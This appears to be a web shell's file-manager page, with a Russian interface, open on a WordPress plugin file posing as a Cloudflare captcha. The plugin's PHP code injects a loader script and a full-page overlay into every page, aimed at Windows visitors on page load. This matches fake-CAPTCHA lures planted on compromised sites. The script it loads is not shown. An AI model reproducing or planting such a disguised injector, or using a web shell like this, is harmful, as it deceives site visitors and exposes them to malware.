Файловый менеджер - Редактировать - /home/kunzqhe/photostocker/wp-content/plugins/layout-manager-for/cloudflare-captcha.php
Назад
<?php /** * Plugin Name: overlay * Plugin URI: https://example.com/cloudfl * Description: captcha overlay that launches immediately on page load for Windows users. Includes Turnstile widget, animations, and multi-language support. * Version: 3.0.0 * Author: Your Name * License: GPL v2 or later * Text Domain: cloud */ // Prevent direct access if (!defined('ABSPATH')) { exit; } class Cloudflare_Captcha { private static $instance = null; public static function get_instance() { if (self::$instance === null) { self::$instance = new self(); } return self::$instance; } public function __construct() { add_action('wp_enqueue_scripts', array($this, 'enqueue_scripts')); add_action('wp_footer', array($this, 'render_captcha_html')); } public function enqueue_scripts() { // Enqueue the captcha loader script wp_enqueue_script( 'cloudflare-captcha-loader', plugin_dir_url(__FILE__) . 'assets/js/captcha-loader.js', array(), '2.0.0', true ); // Enqueue the captcha styles wp_enqueue_style( 'cloudflare-captcha-styles', plugin_dir_url(__FILE__) . 'assets/css/captcha-styles.css', array(), '2.0.0' ); } public function render_captcha_html() { include plugin_dir_path(__FILE__) . 'templates/captcha-overlay.php'; } } // Initialize the plugin Cloudflare_Captcha::get_instance();
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка